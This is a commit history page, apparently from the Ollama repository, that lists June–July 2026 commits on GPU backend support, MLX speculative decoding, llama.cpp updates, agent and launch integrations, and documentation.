Compare commits

..
Author SHA1 Message Date
ParthSareen b0b7bf26f3 refactor: simplify usage command 2026-07-27 12:14:37 -04:00
ParthSareen 90dd5b3a70 feat(cli): add usage command 2026-07-23 12:58:14 -07:00
ParthSareen 4855c61358 feat(api): add account usage endpoint 2026-07-23 12:58:08 -07:00
Parth Sareen 573386c35e agent: skills system (#17203) 2026-07-17 10:32:22 -07:00
Eva H 794a254111 anthropic: close text block before starting thinking block (#17225) 2026-07-17 10:24:38 -04:00
Parth Sareen 714b6fc2a4 agent: allow unlimited tool rounds for cloud models by default (#17217) 2026-07-16 19:07:01 -07:00
Parth Sareen 61e1b1ba5e agent: clean up semantics, UX, DX, and procedural code (#17212) 2026-07-16 19:06:06 -07:00
Parth Sareen 5865a01e48 agent: reorder working directory instruction (#17228) 2026-07-16 19:05:30 -07:00
Parth Sareen e61c1c73fe cmd: remove dead agent prompt wrappers (#17227) 2026-07-16 17:16:14 -07:00
Eva H 03d61e1925 launch: keep Claude Code channels available (#17210) 2026-07-16 13:08:50 -04:00
Parth Sareen 30c390384e cmd: put current working dir in the system prompt (#17188) 2026-07-15 12:10:28 -07:00
Parth Sareen d590830091 agent/tools: isolate web tests from cloud policy (#17208) 2026-07-15 12:07:05 -07:00
Parth Sareen fdcf9efafd fix launch model picker recovery (#17170) 2026-07-15 11:31:22 -07:00
Parth Sareen 76188f60cd docs: add VS Code extension setup (#17158) 2026-07-15 11:30:43 -07:00
Daniel Hiltgen 8a0016f826 model: align gemma4 chat template handling (#17182)
Incorporate the upstream Gemma4 chat template refinements for tool-calling stability, turn closure, and multi-turn reasoning. This updates the native renderer and checked-in HF template fixtures to keep adjacent assistant/tool continuations in the same model turn, add the post-tool thought-channel cue when thinking is enabled, and match Google's default of not replaying historical thinking before a later user turn.

Also preserve null tool arguments through Gemma4 rendering/parsing and extend the Jinja2 parity coverage for these upstream behaviors.
2026-07-14 15:42:04 -07:00
Michael Yang d49b96d9ab docs: collapsed previous retirements (#17167) 2026-07-14 14:00:10 -07:00
Parth Sareen 3bd506bd1c agent/tools: surface actionable web auth error (#17169) 2026-07-14 13:35:16 -07:00
Jesse Gross 123b1f2479 mlxrunner: raise the MTP pending-flush cap to 256 tokens
Per-token cost of the batched head forward keeps falling until the
flush is large enough to reach the fastest kernels: NAX matmul tiles
for dense heads, and the segmented gather path for MoE heads, which
needs tokens*topK/experts >= 4. Measured across the qwen3.6 heads,
256 is the smallest cap past every threshold and within a few percent
of each head's per-token floor. The cost is bounded: up to 2.5 MiB of
pinned hiddens per request and a flush stall under one decode step.
2026-07-14 10:32:04 -07:00
Jesse Gross 556245843a mlxrunner: key the cache trie by token pairs for draft caches
A draft cache pairs each slot with the token that follows it, so the
deepest stored pair always names one token past what a prefix match
can verify - at generation end, the sampled-but-never-committed
final token. Restoring at the match point reuses that pair blind: a
stop token stripped from the next prompt, or any divergence at the
boundary, leaves it stale, and pairing never rewrites below the
resume position, quietly lowering draft acceptance.

Key the trie by token pairs instead: the key for offset i packs
(token i, token i+1), so matching k keys verifies k+1 tokens and
every match is a valid restore point. A pair is reused only if the
token it names matched, and prefill re-evaluates the boundary token,
rebuilding its pair with the token that actually follows. A token
gets a key only once its successor is recorded, so endings record the
final sampled token - never forwarded - and the trie stays level with
the caches. Without a look-ahead the keys are the tokens and behavior
is unchanged.

The recorded tokens' slice bounds used to reject state past them for
free; close now checks the invariant against the stored keys
directly. The test harness rests requests the way the pipeline does -
the deepest recorded token never enters the caches.
2026-07-14 10:32:04 -07:00
Jesse Gross c963822dca mlxrunner: construct per-model state at load
The caches, the speculation binding, and the drafter were each built
lazily inside the first request: begin constructed the caches, and open
bound the cache partition and made a fresh drafter every time. All of
it is a property of the loaded model, so build it once at load.
newPrefixCache replaces the lazy construction in begin, speculation
binds when it is created, and the drafter splits the way speculation
does: a persistent mtpDrafter constructed at load opens each request's
mtpDraftSession, whose constructor syncs the pairing cursor to the
draft caches' restored offset.
2026-07-14 10:32:04 -07:00
Jesse Gross dd49563d55 mlxrunner: rename kvCache to prefixCache
The type coordinates every cache kind — KV, sliding-window, recurrent —
around prefix matching over the trie, so kv was a misnomer.
2026-07-14 10:32:04 -07:00
Jesse Gross 4e96f4dbf2 cache: stop recurrent conv state from pinning the forward buffer
Keeping the recurrent conv state small was handled unevenly: the committed
live state was recopied on every commit — wasted work on single-token
decode, where the window is already tiny — while boundary states captured as
snapshots could still be plain slices of the forward-sized convolution
buffer. A cached slice pins that whole buffer even though the trie's eviction
accounting only counts the slice's bytes, so recurrent cache memory piled up
across requests and eviction could never reclaim it.

Compact each boundary state to its real size once, where it is produced in
the conv wrapper, so live state and snapshots own only their own bytes and
eviction sees the true cost. Single-token decode leaves the already-tiny
window as a slice.

Fixes #16698
2026-07-14 10:32:04 -07:00
Jesse Gross d573a2367b nn/recurrent: derive conv boundary states from a single conv pass
The MTP validation forward schedules a snapshot at every drafted token, which
made CausalConv1D re-run the depthwise conv once per segment to recover each
boundary's conv tail. A conv boundary state is just the trailing convTail
input positions, so run the conv once over the whole window and slice each
boundary tail from the shared buffer, removing the per-token conv launches.
2026-07-14 10:32:04 -07:00
frob 4f7786d0ba mlx: configurable model load timeout (#14796) 2026-07-13 16:06:29 -07:00
Parth Sareen f1a0ffd621 launch: rename Codex App integration to ChatGPT (#17161) 2026-07-13 14:34:17 -07:00
Parth Sareen cd600e19a3 cmd/tui: simplify integration selection and update menu description (#17159) 2026-07-13 12:52:40 -07:00
Daniel Hiltgen 59bd0b49bb mlx: restore NAX in Metal v4 builds (#17160)
MLX now requires a macOS 26.2 deployment target for NAX kernels. Ollama's Metal v4 build still targeted 26.0, so recent MLX bumps silently built mlx_metal_v4 without NAX kernels.
2026-07-13 12:50:38 -07:00
Parth Sareen 82f905cd9c cmd: agent UI (#17017) 2026-07-09 17:27:31 -07:00
Parth Sareen cb3d98ccb2 launch: warn before launching old agent models (#17063) 2026-07-09 16:55:10 -07:00
Jesse Gross d47859ce49 create: select the qwen3.5 parser and renderer for Qwen3.5/Next
Qwen3.5/Qwen3-Next architecture strings contain the substring "qwen3", so the
broad qwen3 match claimed them for the generic parser and qwen3-coder
renderer, whose template doesn't frame the thinking block — an empty
<think></think> leaked into content and think=false was ignored. Match the
family first via isQwen35Family so the parser, renderer, and
thinking-capability checks share one variant list.
2026-07-08 11:12:48 -07:00
Daniel Hiltgen a6293eb516 llm: allow iGPU mmproj offload with fit padding (#16996)
* llm: allow iGPU mmproj offload with fit padding

llama.cpp's fit pass sizes text-model placement before the multimodal projector is loaded. Ollama had been avoiding that risk on non-Metal iGPUs by disabling projector offload entirely, which forces CLIP onto CPU on GB10 and Strix Halo even when the projector has ample memory available.

Let integrated GPUs use the same projector-memory check as other GPUs. When projector offload is enabled, add the estimated projector memory plus the existing 1 GiB headroom to Ollama-owned LLAMA_ARG_FIT_TARGET so fit leaves space for the later projector allocation. If Ollama/device setup already supplied a fit target, add the projector pad to it. If the user set LLAMA_ARG_FIT_TARGET explicitly, leave it exactly as provided.

Fixes #16419

* review comments
2026-07-07 15:28:42 -07:00
Arkadeep Dutta 892e7f6be6 server: apply format constraint for all thinking parsers when think=false (#15901) 2026-07-07 11:54:50 -07:00
Patrick Devine f3d69a3dee server: remove unused internal/ code (#17071) 2026-07-07 11:44:38 -07:00
Daniel Hiltgen 67b6a1c2d4 create: harden GGUF create flows (#17062)
* create: harden GGUF create flows

* lint
2026-07-06 16:20:20 -07:00
Parth Sareen 87b64213b4 launch: disable claude code telemetry by default (#17061) 2026-07-06 15:24:11 -07:00
Daniel Hiltgen f2d069f6df mlx: update to de7b4ed9 (#17056) 2026-07-06 13:31:22 -07:00
Michael Yang 5208ae7500 server: remove OLLAMA_EXPERIMENT=client2 (#16962) 2026-07-06 13:15:39 -07:00
Daniel Hiltgen 9d779572a7 llama.cpp update (#17055)
Bump to b9888.
2026-07-06 12:52:15 -07:00
Patrick Devine 964ea42c09 mlx: x/create rewrite (#16919)
This is a rewrite of the create functionality for the MLX engine.

The core idea behind the create functionality is to break the import/convert into a pipeline of distinct phases:

* Read (scan the safetensors directory for the various bits of metadata)
* Classify (determine what the import type)
* Plan (determine any transforms that need to be done)
* Write (transform any data as necessary and write out the blobs)
* Create the manifest

Each architecture has a "policy" which determines how to convert the model correctly. A number of different formats for safetensors are supported including:

* nvfp4 (two formats: model optimized, torch)
* fp8 datatypes (convert to mxfp8)
* standard bf16 based weights

A number of cleanups/simplifications have been done including:

* using the baked in names for the tensors instead of munging them into something else
* unified 3d expert tensors (instead of separate per expert tensors)
* fewer unnecessary transforms to the various tensors in a model (keep a model as close to the source as possible)
* unified capability checking
* draft model handling (for MTP) is done on the same path

Image generation has been intentionally removed.
2026-07-03 18:30:45 -07:00
Daniel Hiltgen dba1e27fa8 llama: enable FA on CUDA CC 6.x GPUs (#16994)
Recent upstream Pascal kernel fixes let us compile native SM60/SM61 kernels again instead of relying on PTX JIT, so allow Flash Attention auto at runtime for CC 6.x devices.

Fixes #16591

Fixes #16754
2026-07-02 17:11:39 -07:00
Daniel Hiltgen e436db25ff compat: use UTF-8-safe file open (#16999)
Use ggml_fopen for compat tensor reads so Windows paths with Unicode characters are converted through the same UTF-8-to-wide path as llama.cpp model loading.

Fixes #16493
2026-07-02 16:59:23 -07:00
Daniel Hiltgen 26acfa42b5 rocm: remove no longer supported devices (#17010)
The presets and docs had fallen out of sync with what our current ROCm versions on Linux and Windows actually support.  We rely on Vulkan now to cover these older unsupported devices.
2026-07-02 16:59:01 -07:00
Daniel Hiltgen 7b22ac9683 llama: clean up dead code from llama-server work (#17007)
These pieces were missed in the final merge of llama-server and are dead code.
2026-07-02 12:51:54 -07:00
Parth Sareen a2b3a5e9a3 agent: harness core (#16963) 2026-07-02 11:44:31 -07:00
Kevin Park 624cada952 discover: fall back to standard CUDA when the JetPack runner is absent (#16949)
* discover: use the SBSA CUDA build on JetPack 7 (L4T r38+)

JetPack 7 supports SBSA-based CUDA, so the standard cuda_v13 build — shipped
in the base linux-arm64 package, and given the Orin arch (CC 8.7) in #16628
— runs on these devices.

JETSON_JETPACK=7 previously selected a nonexistent jetpack7 runner, so
runner.go skipped every CUDA library and discovery fell back to CPU. The L4T
releases JetPack 7 uses (r38 on Thor, r39 on Orin) also hit the unrecognized
branch, and install.sh warned the version was unsupported. Map JetPack 7+
(L4T r38 and newer) to cuda_v13 (returned as "" from cudaJetpack); no
Jetson-specific download is needed, so install.sh no longer warns.

Fixes #16602

* discover: fall back to standard CUDA when the JetPack runner is absent

Per review, drop the L4T-version mapping (in cudaJetpack and install.sh) and
instead clear the jetpack override in runner.go when the detected cuda_jetpack
runner isn't installed. Normal discovery then selects the standard cuda_v13
build, which supports Orin (CC 8.7) on JetPack 7.
2026-07-02 08:34:35 -07:00
Michael Yang cecd265d3a docs(cloud): update retirement list (#17000) 2026-07-01 19:43:14 -07:00
Mark Ward 2ea95fb059 fix cuda toolkit lookup and parallel (#16613)
* fix cuda toolkit lookup and parallel

* support user override first

* enable control over the nested parallel count
2026-06-30 10:56:54 -07:00
Daniel Hiltgen 8e7be3aed1 ci: avoid unbounded parallelism (#16966)
build-darwin has gotten very slow in the past few releases, most likely due to unbounded parallelism in the MLX build causing the builder to thrash
2026-06-30 10:49:55 -07:00
Patrick Devine 710292ff4f mlx: tighten up gemma4 moe loading code (#16964)
This change allows .experts.gate_proj / .up_proj / .down_proj tensor names to each
be used for both quantized (i.e. nvfp4 and mxfp8) and non-quantized (bf16) models.
Previous to this only non-quantized models used that tensor naming scheme.
2026-06-29 21:15:08 -07:00
Bruce MacDonald ada1eb5163 launch: check for min version for hermes desktop (#16912) 2026-06-29 11:50:11 -07:00
Daniel Hiltgen 1c5ebbf5f4 llama.cpp update (#16960) 2026-06-29 09:43:41 -07:00
Daniel Hiltgen 7926b99e0e mlx: bump dependency (#16935)
Update MLX to 548dd80.

Fix direct MLX tests to run on pinned MLX threads so test execution matches the runner's MLX thread-affinity model.
2026-06-29 09:39:11 -07:00
Aditya Aggarwal 32a97b7493 tools: ignore braces inside JSON strings when detecting tool call end (#16937)
Parser.done() counted the tag's open/close characters ({}, []) without
tracking JSON string context, so a streamed tool call whose string
argument value contained a closing brace or bracket (e.g.
{"code": "if (x) { y }"}) was treated as complete too early and flushed to
the user as plain text instead of being parsed as a tool call.

findArguments() in the same file already tracks string context; apply the
same handling in done() so open/close characters inside string values are
ignored.
2026-06-27 12:00:55 -07:00
Daniel Hiltgen d26a58557d MLX: wire up scheduler selected context size for ps (#16918)
In the PS output, expose the scheduler selected size (clamped by model context size) instead of always reporting the model max context.  This will help provide a hint to clients to keep the context size below this value to avoid paging and poor performance on smaller VRAM systems.
2026-06-26 08:47:03 -07:00
Parth Sareen 2e474c98f9 parser/renderer: add Ornith 9B renderer/parser support (#16920) 2026-06-25 23:18:47 -07:00
Bruce MacDonald 2cb2c5381f launch: update hermes install urls to official (#16913) 2026-06-25 16:22:19 -07:00
Eva H 2a6b50421a fix capability grid dark mode style (#16907) 2026-06-25 13:55:39 -04:00
Daniel Hiltgen f22ec2ec49 CUDA: require driver 550 or newer for v12 (#16895)
Our cuda_v12 build requires nvcc fatbin compression, which in turn requires driver 550 or newer.  This change filters incompatible CUDA devices based on the runtime and driver version.  This allows users to build from source with older toolkits to support older drivers.

Fixes #16449
2026-06-25 08:46:00 -07:00
Eva H d9075caf1a docs: redesign coding integration docs (#16808) 2026-06-25 10:03:59 -04:00
Daniel Hiltgen e11eeb3ba0 llama.cpp version update (#16548) 2026-06-24 14:03:12 -07:00
Daniel Hiltgen 0a408b2225 jetson: add CC 87 for CUDA v13 (#16628)
The new Jetpack 7.2 supports SBSA based CUDA, so we can add the architecture now.
2026-06-24 14:02:41 -07:00
Daniel Hiltgen 16739dee60 server: align generate with native chat templates (#16878)
* server: align generate with native chat templates

/api/generate rebuilt chat-like prompts through the Go template path even when the model selected its native GGUF Jinja chat template, so the same model rendered differently between generate and chat.

Route chat-like generate requests through the shared native chat preparation path, keep deprecated context and image handling working there, and keep explicit OLLAMA_GO_TEMPLATE overrides intact.

Fixes #16792

* review comments

Fall back to "{{ .Prompt }}" when lacking templates
2026-06-24 13:43:56 -07:00
Eva HandParth Sareen d48d790baf docs: redesign docs landing and integrations overview (#16807)
Co-authored-by: Parth Sareen <parth.sareen@ollama.com>
2026-06-24 16:28:28 -04:00
Philip Sinitsin 0463940334 llm: fix ollama ps double-counting mmap'd weights on partial offload (#16709)
* llm: fix ollama ps double-counting mmap'd weights on partial offload

With mmap enabled, llama-server reports each CPU_Mapped model buffer as the
file-offset span of its CPU-resident tensors. During partial offload that span
covers nearly the whole file because the first and last tensors stay on CPU, so
the parsed buffer sizes count the offloaded weights twice and ollama ps shows
roughly 2x the real size with a false CPU/GPU split. Model weights can never
exceed the model file on disk, so trim the excess over the file size from the
mmap-backed portion when computing MemorySize. This makes the reported size
independent of use_mmap; VRAM accounting and scheduler placement are unchanged.

* llm: exclude repacked model buffers from the mmap overlap trim

The trim that corrects mmap double-counting computed the overlap from all
model buffers, including real copies such as CPU_REPACK. On a CPU-only
repacked model that inflated the excess and trimmed the repack out,
undercounting by the repack size (llama3.2 reported ~1918 MiB instead of
~3218 MiB).

Compute the overlap from file-backed buffers only: mmap views and direct
device copies, whose spans can overlap the file on partial offload.
Repacked or host-pinned CPU copies are separate allocations that never
overlap the on-disk weights, so leave them intact. Adds a CPU_Mapped +
CPU_REPACK regression test and corrects the Metal case to the real total.
2026-06-24 11:43:20 -07:00
Daniel Hiltgen 570679c9e0 mlx: update and fix CUDA JIT packaging (#16871)
Bump MLX to the latest selected upstream ref and update the MLX/imagegen
wrappers and tests for the new API behavior.

Fix the CUDA MLX archive so runtime NVRTC kernels work after deployment:
package CUTE/CUTLASS headers, include the CUDA runtime header closure, and
stage a coherent CUDA-toolkit-matched CCCL tree instead of MLX's fetched CCCL
for CUDA payloads. The previous archive could build successfully but crash at
runtime due to missing or incompatible JIT headers.
2026-06-24 10:36:02 -07:00
Daniel Hiltgen 89a171cc70 llm: use host Vulkan loader on Windows (#16869)
Stop bundling the Vulkan loader and resolve the host runtime for Windows Vulkan discovery and backend dependency loading.

Fixes #16677
2026-06-24 10:35:48 -07:00
Daniel Hiltgen 33878e671a llama: default qwen2.5vl window attention metadata (#16868)
Existing qwen2.5vl GGUFs can contain an empty qwen25vl.vision.fullatt_block_indexes array. The compat layer translated the projector metadata but left clip.vision.n_wa_pattern unset, causing llama-server to fail loading the CLIP model.

Default the runtime compat value to the standard Qwen2.5-VL pattern when the key cannot be derived, and make the converter emit the same default for nil or empty fullatt block metadata.

Fixes #16540
2026-06-24 10:35:29 -07:00
Parth SareenandDaniel Hiltgen c191a145bb llm: preserve generation headroom for shifted prompts (#16856)
---------

Co-authored-by: Daniel Hiltgen <daniel@ollama.com>
2026-06-23 15:29:40 -07:00
Parth Sareen 479e1cf94e docs: document max think level (#16877) 2026-06-23 15:29:15 -07:00
Daniel Hiltgen 836507378b llm: size mmproj offload by projector memory (#16866)
* llm: size mmproj offload by projector memory

Replace the blanket 10 GiB VRAM cutoff with a projector tensor-size estimate plus backend headroom, while preserving the existing CPU-only, partial text offload, shared-memory GPU, and startup OOM retry gates.

This is a stopgap until fit accounts for mmproj memory directly.

The same limited-vram path appears in the qwen3.5 vision hang report: the logs show --no-mmproj-offload on a 7.5 GiB RTX 5050 with about 6.4 GiB free while llama-server estimates the inline mmproj at about 962 MiB.

Fixes #16496

Fixes #16570

* review comments
2026-06-23 13:04:02 -07:00
anishandanish 46bc1bcb4c llama: add sm_86 architecture to cuda_v13_windows preset (#16834)
The llama_cuda_v13_windows preset in llama/server/CMakePresets.json was missing sm_86 and sm_80 architectures, causing RTX 3060 laptop and similar mobile RTX 30-series GPUs to be skipped during runtime GPU detection on Windows with CUDA 13. The Linux preset (llama_cuda_v13_linux) included these architectures as "86-virtual" and "80-virtual", but the Windows preset only had "75-virtual;89-virtual;100-virtual;120-virtual", excluding Ampere mobile GPUs.

Signed-off-by: anish <anishesg@users.noreply.github.com>
Co-authored-by: anish <anishesg@users.noreply.github.com>
2026-06-23 07:35:21 -07:00
Bruce MacDonald 2a8b31531e launch/codex: detect model drift when Codex App UI switches away from Ollama (#16864)
ollama launch codex-app sets root-level model_provider = "ollama-launch-codex-app"
in ~/.codex/config.toml to route requests through the local Ollama server.
In Codex, model_provider is a global config key, there is no per-model provider
in the catalog schema (ModelInfo has no model_provider field), so it applies to
every model, not just Ollama ones.

When a user switches to a built-in OpenAI model (e.g. gpt-5.5) in the Codex App
UI, the UI writes model = "gpt-5.5" to config.toml but does NOT update
model_provider. The root model_provider stays "ollama-launch-codex-app", so the
OpenAI model request goes to http://localhost:11434/v1/responses instead of
OpenAI API, resulting in a 404 ("model gpt-5.5 not found"). The user is
stuck: OpenAI models silently route to localhost until they know to run
"ollama launch codex-app --restore".

Fix: CurrentModel() now verifies the configured model appears as a slug in the
Ollama-managed catalog before reporting the integration as active. When the
model has drifted (user selected a non-Ollama model in the UI), CurrentModel()
returns empty, so the launcher accurately shows the integration as inactive and
the user is directed to restore or re-launch.
2026-06-22 15:38:19 -07:00
Jesse Gross 505e35f2b9 mlxrunner: choose the speculative draft length to maximize throughput
The heuristic schedule grew the draft toward a fixed cap on acceptance alone,
maximizing accepted-tokens-per-step rather than throughput, and on a
steep-forward target it regressed below no speculation. Replace it with an
engine-level controller that drafts the depth maximizing
committed-tokens-per-wallclock from live per-position acceptance and persisted
per-width forward cost, with no draft-length cap; the heuristic schedule and
the OLLAMA_MLX_MTP_* env vars go with it.
2026-06-22 15:25:45 -07:00
Jesse Gross 114875133b mlxrunner: resolve each speculative round in one host sync
Acceptance took two blocking evals per round: one to read the accepted mask,
then a second for the bonus or residual token whose graph needed the
host-known rejection point. Sample the residual at every rejection point in
one batched draw alongside the bonus row, so a single eval covers acceptance
and the next token.
2026-06-22 15:25:45 -07:00
Jesse Gross 42c330283b mlxrunner: run one target forward per MTP decode step
Each speculative round ran the target stack twice — once for the current
token's hidden and base logits, once to validate the drafts — capping
throughput below plain decode. Fuse them into one forward over [current,
draft_0..draft_{N-1}], whose hidden rows already line up with the acceptance
math, so the separate base-logits unembed disappears from the drafted path.
2026-06-22 15:25:45 -07:00
Jesse Gross f93efe2809 mlxrunner: apply in-flight drafts to proposal penalty history
Sampler.Distribution built row i as if draftTokens[:i] were appended, leaving
a single-row proposal call with no draft history, so a drafter skipped the
repeat/presence penalties the target's validation applies and re-proposed
penalized tokens. Align rows with the end of the draft chain instead: the
final row sees every draft token, each earlier row one fewer.
2026-06-22 15:25:45 -07:00
Jesse Gross 28fbbb06d5 mlxrunner: support draft heads that maintain draft caches
Generalize the draft path so a head that maintains a KV cache (EAGLE-style)
and Gemma's read-only single-position assistant both fit one drafter
interface with no per-model branches, and make the committed stream the
drafter's maintenance mechanism — every committed run is reported, the
drafter pairs each draft slot with its look-ahead token and flushes completed
pairs to the draft caches. The draft KV thus stays prefix-cached alongside
the target in every session, drafting or not.
2026-06-22 15:25:45 -07:00
Jesse Gross 340c51bbb7 mlxrunner: host speculative decoding in the text generation pipeline
The pipeline and the MTP decoder each owned a decode loop with duplicated
prefill, budget, and emission handling. Split the pipeline into prefill and
decode phases behind a decoder interface, with the decode loop the sole
emitter enforcing the NumPredict budget, and split speculation into a generic
engine that returns the accepted run and a drafter interface that owns only
how proposals are made.
2026-06-22 15:25:45 -07:00
Jesse Gross 2e9d68dc38 mlxrunner: unify the MTP decode paths
Greedy is a special case of sampled decoding — at temperature 0 the sampler
yields a point mass, so rejection-sampling acceptance reduces to argmax-match
— so collapse the separate greedy, sampled, and serial paths into one. MTP
now honors any temperature, penalty, and top-k/p/min-p setting; logprobs
remain the only gated feature.
2026-06-22 15:25:45 -07:00
Sahil Kadadekar fc58544422 discover: fix inverted iGPU/dGPU Vulkan classification on Windows hybrid graphics (#16669)
On Windows hybrid-graphics systems (Intel iGPU + NVIDIA dGPU), discovery
could classify the integrated GPU as discrete and the discrete GPU as
integrated, dropping the dGPU's Vulkan device and scheduling models onto
the iGPU's shared system RAM (#16667). Two index-keyed correlations
between independently-ordered device enumerations caused this:

1. The native probe's stderr was concatenated into the output passed to
   parseVulkanUMA. The probe enumerates Vulkan devices in its own order,
   so its ggml_vulkan uma lines overwrote llama-server's index-keyed UMA
   map with inverted values. Parse UMA metadata only from llama-server's
   own output.

2. applyWindowsVulkanRefinement required the raw vkEnumeratePhysicalDevices
   count to equal llama-server's Vulkan device count. The raw enumeration
   is a superset on real systems (D3D12 mapping-layer devices, Microsoft
   Basic Render Driver), so the refinement that reads the authoritative
   VkPhysicalDeviceType was always skipped. Match devices by name against
   the probed superset instead, bailing only when a device has no match or
   matches conflicting device types.

Verified on the hardware from #16667 (Intel RaptorLake-S + RTX 4080
Laptop): the raw probe returns 5 devices vs llama-server's 2; with this
change the iGPU is dropped as integrated, the dGPU's Vulkan device
dedupes against CUDA0, and the model loads on the dGPU with no
environment overrides.

Fixes #16667
2026-06-22 14:52:03 -07:00
Eva H e434a93884 launch: auto-install opencode when missing (#16806) 2026-06-19 10:12:11 -07:00
Eva H 9c02d8e69d launch: auto-install Claude Code (#16802) 2026-06-19 10:11:50 -07:00
Eva H 07ed752353 launch: add thinking capability detection to opencode (#15434) 2026-06-18 13:45:16 -04:00
Parth Sareen e1f7f9cbdb ci: pin darwin release xcode (#16788) 2026-06-17 13:01:10 -07:00
Patrick Devine 8c432fc88a llama: update llama.cpp to b9672 (#16775) 2026-06-16 23:15:52 -07:00
Jeffrey Morgan acfb50d9af models: add cohere2_moe (Command A / North) to the MLX engine (#16670)
Implements Cohere2MoeForCausalLM (e.g. CohereLabs/North-Mini-Code-1.0)
2026-06-16 23:15:21 -07:00
Jeffrey Morgan 0f047feef5 llm: context shift allow shiftable prompts (#16764) 2026-06-16 12:55:52 -07:00
Patrick Devine 9e4ed74efe integration: look for the "hf" tool in integration tests (#16765)
The "huggingface-cli" tool is deprecated, so only try to use the "hf" tool.
2026-06-16 11:04:54 -07:00
Jeffrey Morgan bbb40a0a6c server: context shift for context windows larger than 8k, add error when hitting context limit (#16712) 2026-06-15 11:36:50 -07:00
Jeffrey Morgan 993acc7504 model: update lfm2 parser/renderer for optional thinking (#16359) 2026-06-14 20:37:08 -07:00
Jeffrey Morgan 7ea692cb2b llama: update llama.cpp to b9637 (#16609) 2026-06-14 20:05:08 -07:00
Parth Sareen 12e04379cd launch: Fix launch provider drift (#16683) 2026-06-11 17:21:46 -07:00
Parafee41 f8a48df24d llm: decouple prompt caching from context shift (#16639)
This PR separates prompt caching from the public shift request option for native llama-server requests.

Previously, shift controlled two different mechanisms:

context shifting / overflow behavior
per-request llama-server cache_prompt
That meant callers could not request shift: false without also disabling prompt caching.

Fixes #16635
2026-06-11 16:05:24 -07:00
Patrick Devine 82e0ddb6fe mlxrunner: harden linear/embedding layers against over-promotion (#16682)
Adding/Multiplying a tensor by a scalar w/ a different data type
can cause the tensor to be promoted and cause performance issues.

This change adds several guards against over-promotion.
2026-06-11 13:56:25 -07:00
Jesse Gross 1abd56b6e6 mlxrunner: record committed MTP drafts before streaming them
The batched MTP accept paths advance the cache by the whole accepted run
before streaming it to the client. If the stream was cancelled partway
(e.g. the caller disconnects), the loop returned before recording the
remaining accepted tokens, leaving the cache offset ahead of
session.outputs. close() then indexed the token log past its end and
panicked with a slice-bounds error.

Record the whole run to session.outputs before streaming any of it, so a
cancelled stream can no longer desync the cache from the token log.

The same bug is present on main, with identical mechanics: the accept
paths there commit the cache to before+accepted and then stream in a loop
that returns on cancellation before recording the rest.
2026-06-09 00:39:19 -07:00
Jesse Gross ded2db7d86 mlxrunner: capture prefill snapshots across the forward
Prefill no longer splits its batch at each requested snapshot offset. The
session schedules the pending offsets on every cache before prefill, runs the
forward in full-size chunks, and attaches the captured snapshots to the trie
afterward. Offsets the prefill never crosses (it leaves one token for decode
seeding) are dropped instead of materializing a node for tokens never written,
and snapshots from an abandoned prefill are released on session close.
2026-06-09 00:39:19 -07:00
Jesse Gross d00622060f mlxrunner: drive MTP speculation through cache snapshots
Speculation used a parallel hierarchy of wrapper cache types that shadowed
the live caches and reconciled against them on commit. Replace it with
snapshot/restore on the live caches themselves: a cache snapshots itself as
a write crosses each offset, and the runner commits a batched draft by
restoring to the accepted count. The wrappers and the comparison plumbing
around them are gone.

Snapshots are lazy. A KV or rotating capture indexes into the live buffer and
owns no memory until a destructive write forces a copy-out, so rejecting a
draft is free.

Recurrent layers now validate in the same batched pass rather than falling
back to serial. A gated-delta layer reports its interior split offsets and
hands back the recurrent state at each one, which the cache records as a
snapshot.
2026-06-09 00:39:19 -07:00
Jesse Gross 177aefb8a9 nn/recurrent: return per-boundary states from the gated-delta kernels
CausalConv1D and GatedDelta now run their scan in segments cut at optional
WithSnapshotSplits offsets and return the recurrent state at each boundary
instead of just the final state. The output is identical to the unsegmented
scan; segmenting only adds a few kernel launches, not extra recurrence compute.

This lets a batched forward capture interior recurrent state without re-running
the scan, which the cache will use for speculative validation rollback points.
RecurrentCache.Put and the Qwen3.5 layer now thread the boundary-state slices,
committing the final entry as the live state.
2026-06-09 00:39:19 -07:00
Jesse Gross 07588c64ee mlxrunner/cache: split KVCache and RotatingKVCache into their own files
cache.go had grown to hold every cache kind. Move KVCache (and its
speculative wrappers) to kvcache.go and RotatingKVCache (and its
sliding-window mask applier) to rotating.go, leaving cache.go with the
shared interfaces and the Speculation transaction. Pure relocation;
no behavior change.
2026-06-09 00:39:19 -07:00
Jesse Gross 4c97a940ca mlxthread: preserve the original stack when worker work panics
Work that panics on the locked MLX worker goroutine was recovered and
re-raised on the caller, so the printed trace pointed at the re-panic
site in this package rather than the code that actually panicked.

Capture the worker stack at recovery and carry it through a value that
implements error, so the runtime prints the original location in the
fatal trace.
2026-06-09 00:39:19 -07:00
Bruce MacDonald 74cbf1d2c2 docs: omp (#16552)
Add docs for explaining and setting up "oh my pi" (omp)
2026-06-08 11:43:51 -07:00
Bruce MacDonald 5c1e37eb67 docs: hermes desktop (#16549) 2026-06-08 11:43:11 -07:00
Jeffrey Morgan f0078ae476 docs: update docs examples to use Gemma 4 instead of Gemma 3 (#16607) 2026-06-07 12:43:13 -07:00
Jeffrey Morgan 96201a623a Add AGENTS.md and CLAUDE.md to root repository (#16604) 2026-06-07 10:57:59 -07:00
Daniel Hiltgen 9c94c2b11e docs: describe llama.cpp update process (#16603) 2026-06-07 10:27:47 -07:00
Parth Sareen e09b3f9fb5 openai: align models list with tags (#16556) 2026-06-05 17:59:05 -07:00
Bruce MacDonald a0099da2d1 launch: use native Windows Hermes config path (#16558) 2026-06-05 17:29:19 -07:00
Chris Chenandfuleinist 25e0e81e12 docs: update Zod example to use native toJSONSchema (#14746)
Co-authored-by: fuleinist <fuleinist@gmail.com>
2026-06-05 16:21:07 -07:00
Bruce MacDonald 87cff95af8 launch: oh-my-pi (#16410) 2026-06-04 17:49:49 -07:00
Patrick Devine 3ef69ef784 mlx: allow the embedding layer to use the nvfp4 global scale (#16527) 2026-06-04 17:40:01 -07:00
Michael Yang 1a7786be14 docs: add cloud model retirement (#16528) 2026-06-04 15:18:38 -07:00
Bruce MacDonald 3370ff8b1c launch: hermes-desktop app (#16516)
Add support to launch the hermes-desktop app alongside the hermes agent from ollama launch. It will go through the install on first run if hermes-desktop is not already installed.
2026-06-04 11:51:36 -07:00
Daniel Hiltgen 455f57457d llama.cpp version update (#16511)
Bump llama.cpp to b9509, which includes the upstream Gemma 4 12B multimodal projector fixes for the n_head=0 divide-by-zero crash seen on x86/CUDA/Linux/Windows.

Fixes #16479
Fixes #16489
Fixes #16491
Fixes #16492
Fixes #16495
2026-06-04 08:20:57 -07:00
